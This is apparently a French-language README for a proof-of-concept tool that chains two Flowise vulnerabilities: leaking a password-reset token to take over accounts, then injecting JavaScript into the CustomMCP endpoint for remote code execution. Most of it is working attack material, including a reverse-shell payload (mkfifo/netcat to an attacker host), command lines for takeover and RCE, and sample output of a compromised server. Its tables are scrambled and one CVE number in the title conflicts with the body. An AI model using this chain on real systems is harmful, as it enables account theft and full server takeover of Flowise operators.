
PoC combiné pour CVE-2025-28434 et CVE-2025-59528
⚠️ Uniquement à des fins éducatives et de recherche en sécurité autorisée.
Exécuter cet outil contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal.
Ce dépôt combine deux vulnérabilités critiques de Flowise dans un outil PoC modulaire unique.
Les deux vulnérabilités s'enchaînent naturellement : CVE-2025-58434 permet une prise de contrôle de compte sans authentification, ce qui satisfait l'exigence d'authentification de CVE-2025-59528 — permettant une RCE sans authentification en une seule exécution automatisée.
Cause racine : Le point de terminaison forgot-password renvoie le jeton de réinitialisation de mot de passe (tempToken) directement dans le corps de la réponse HTTP au lieu de l'envoyer uniquement par e-mail.
Étapes de l'attaque :
POST /api/v1/account/forgot-password avec n'importe quel e-mail enregistrétempToken dans la réponse JSON — aucun accès à l'e-mail nécessairePOST /api/v1/account/reset-password avec le jeton divulgué → définir un nouveau mot de passeRéponse divulguée (tronquée) :
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Cause racine : Le nœud CustomMCP transmet mcpServerConfig fourni par l'utilisateur directement au constructeur Function() de JavaScript sans aucune désinfection. Comme Flowise s'exécute dans Node.js, le code injecté a un accès complet à child_process, fs et à tous les modules intégrés de Node.js.
Chemin de code vulnérable :
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← unsanitized user input
En-têtes requis :
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Charge utile d'injection par défaut (reverse shell) :
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Remarque : Les charges utiles reverse shell utilisent
cp.exec()(asynchrone / fire-and-forget) afin que la requête HTTP revienne immédiatement et que l'outil n'expire pas. Les commandes normales utilisentcp.execSync()et renvoient la sortie directement.
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
| Composant | Statut |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Affecté par CVE-2025-58434 |
| Flowise auto-hébergé (toutes les versions antérieures au correctif) | Affecté par les deux CVE |
Consultez les avis de sécurité officiels de Flowise pour connaître les numéros de version corrigés.
flowise-dual-cve-poc/
├── flowise_poc.py # Main PoC — all modules + chain mode
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Full legal notice
requestsgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
Aucune option de mode n'est requise. Si vous exécutez le script sans --chain ni --module, il se lance automatiquement en mode chaîne complète. La charge utile RCE par défaut est un reverse shell — fournissez simplement --lhost et --lport.
# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Démarrez votre listener avant d'exécuter :
nc -lvnp 4444
python3 flowise_poc.py -h
Exécute les quatre étapes de bout en bout : fuite du jeton → réinitialisation du mot de passe → connexion → RCE.
# Reverse shell (default payload)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
Récupère le tempToken et réinitialise le mot de passe du compte. S'arrête avant la connexion/RCE.
# Default new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# Custom new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# Print raw JSON response
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
Authentifiez-vous et extrayez les trois cookies de session pour une utilisation manuelle.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# JSON output for scripting
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
Exécution sur le serveur. Le module se connecte automatiquement si --token n'est pas fourni.
# Reverse shell — auto-login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# Custom command — auto-login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# Manual token — reverse shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# All three cookies manually
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| Option | Description |
|---|---|
--chain | Chaîne complète : ATO → Connexion → RCE |
--module ato | Prise de contrôle de compte uniquement |
| Option | Court | Description | Requis |
|---|---|---|---|
--url | -u | URL de base de l'instance Flowise |
| Option | Court | Description | Défaut |
|---|---|---|---|
--new-password | -p | Mot de passe défini sur le compte victime après l'ATO | Flowise@Pwn3d2025! |
| Option | Court | Description | Défaut |
|---|
Le script choisit automatiquement le mode d'exécution approprié :
L'exécution asynchrone signifie que la requête HTTP se termine instantanément — aucune erreur de délai d'expiration sur les charges utiles reverse shell.
[Step 1] [CVE-2025-58434] Requesting forgot-password token ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
LEAKED ACCOUNT DATA
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] VULNERABLE — token disclosed without authentication!
[Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
[*] HTTP 201
[+] Password reset SUCCESSFUL (tempToken cleared)
[+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!
[Step 3] [Auth] Logging in to extract session cookies ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
EXTRACTED SESSION COOKIES
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE RESULT
────────────────────────────────────────────────────────────────────
Mode : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] Reverse shell payload fired!
[!] Waiting for connection on 10.10.16.35:4444 ...
[!] Make sure your listener is running: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] CHAIN COMPLETE
tempToken uniquement via l'e-mail enregistré.forgot-password.Function(), eval() ou vm.runInThisContext().mcpServerConfig uniquement comme données (par ex., JSON.parse()) — ne jamais l'exécuter.| Date | Événement |
|---|---|
| 2025-08-19 | CVE-2025-58434 découverte et signalée |
| TBD | CVE-2025-59528 découverte et signalée |
| TBD |
Pour uniquement des fins éducatives et des tests d'intrusion autorisés.
Consultez DISCLAIMER.md pour l'avis juridique complet.
| CVE-2025-58434 | CVE-2025-59528 |
|---|
| Type | Prise de contrôle de compte | Exécution de code à distance |
| Authentification requise | Aucune | Oui (n'importe quel compte valide) |
| CVSS | 9.8 Critique | Critique |
| Concerné | Cloud + auto-hébergé | Auto-hébergé |
--module login | Connexion et extraction des cookies uniquement |
--module rce | RCE uniquement |
| Toujours |
--email | -e | E-mail cible / de connexion | Toujours |
| Option | Court | Description |
|---|
--login-password | -P | Mot de passe pour le module de connexion / connexion automatique RCE |
--token | — | Fournir manuellement le cookie token (ignore la connexion) |
--refresh-token | — | Fournir manuellement le cookie refreshToken |
--connect-sid | — | Fournir manuellement le cookie connect.sid |
| Option | Court | Description | Défaut |
|---|
--lhost | — | IP de l'attaquant pour le reverse shell | — |
--lport | — | Port de l'attaquant pour le reverse shell | — |
--command | -c | Commande OS personnalisée (remplace le reverse shell) | id si pas de lhost/lport |
--timeout | -t | Délai d'expiration HTTP (secondes) | 15 |
--json-output | -j | Afficher les réponses JSON brutes | false |
| Scénario | Charge utile utilisée | Comportement HTTP |
|---|
--lhost + --lport (sans -c) | one-liner mkfifo netcat | cp.exec() — asynchrone, retour immédiat |
-c "..." contenant nc/mkfifo/bash -i | détecté comme reverse shell | cp.exec() — asynchrone, retour immédiat |
-c "id" ou toute autre commande normale | commande utilisateur | cp.execSync() — bloquant, renvoie la sortie |
ni -c, ni --lhost | id | cp.execSync() — bloquant, renvoie la sortie |
| Accusé de réception du fournisseur |
| TBD | Correctif publié |
| TBD | Divulgation publique |